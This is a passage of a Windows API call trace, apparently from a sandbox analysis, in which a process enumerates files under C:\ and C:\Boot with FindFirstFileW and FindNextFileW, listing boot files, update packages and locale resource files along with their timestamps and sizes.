nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0100.619] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0100.620] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0100.620] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0100.620] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0100.620] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0100.620] FindClose (in: hFindFile=0x3e50500 | out: hFindFile=0x3e50500) returned 1 [0100.621] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0100.622] FindNextFileW (in: hFindFile=0x4c9798, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0100.622] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3820940 [0100.622] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3e50080 [0100.624] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0100.625] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0100.625] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0100.625] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0100.625] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0100.625] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0100.625] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.626] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50640 [0100.627] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.627] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.627] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.627] FindClose (in: hFindFile=0x3e50640 | out: hFindFile=0x3e50640) returned 1 [0100.627] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.627] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0100.627] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0100.628] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0100.628] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0100.628] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.628] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.629] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.629] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.629] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.630] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.630] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.630] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.630] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0100.630] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.630] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e502c0 [0100.631] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.631] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.631] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.631] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.631] FindClose (in: hFindFile=0x3e502c0 | out: hFindFile=0x3e502c0) returned 1 [0100.632] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.632] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0100.632] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.632] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.632] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.632] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.632] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.633] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.633] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.633] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.633] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0100.633] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.633] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.898] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.898] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.898] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.898] 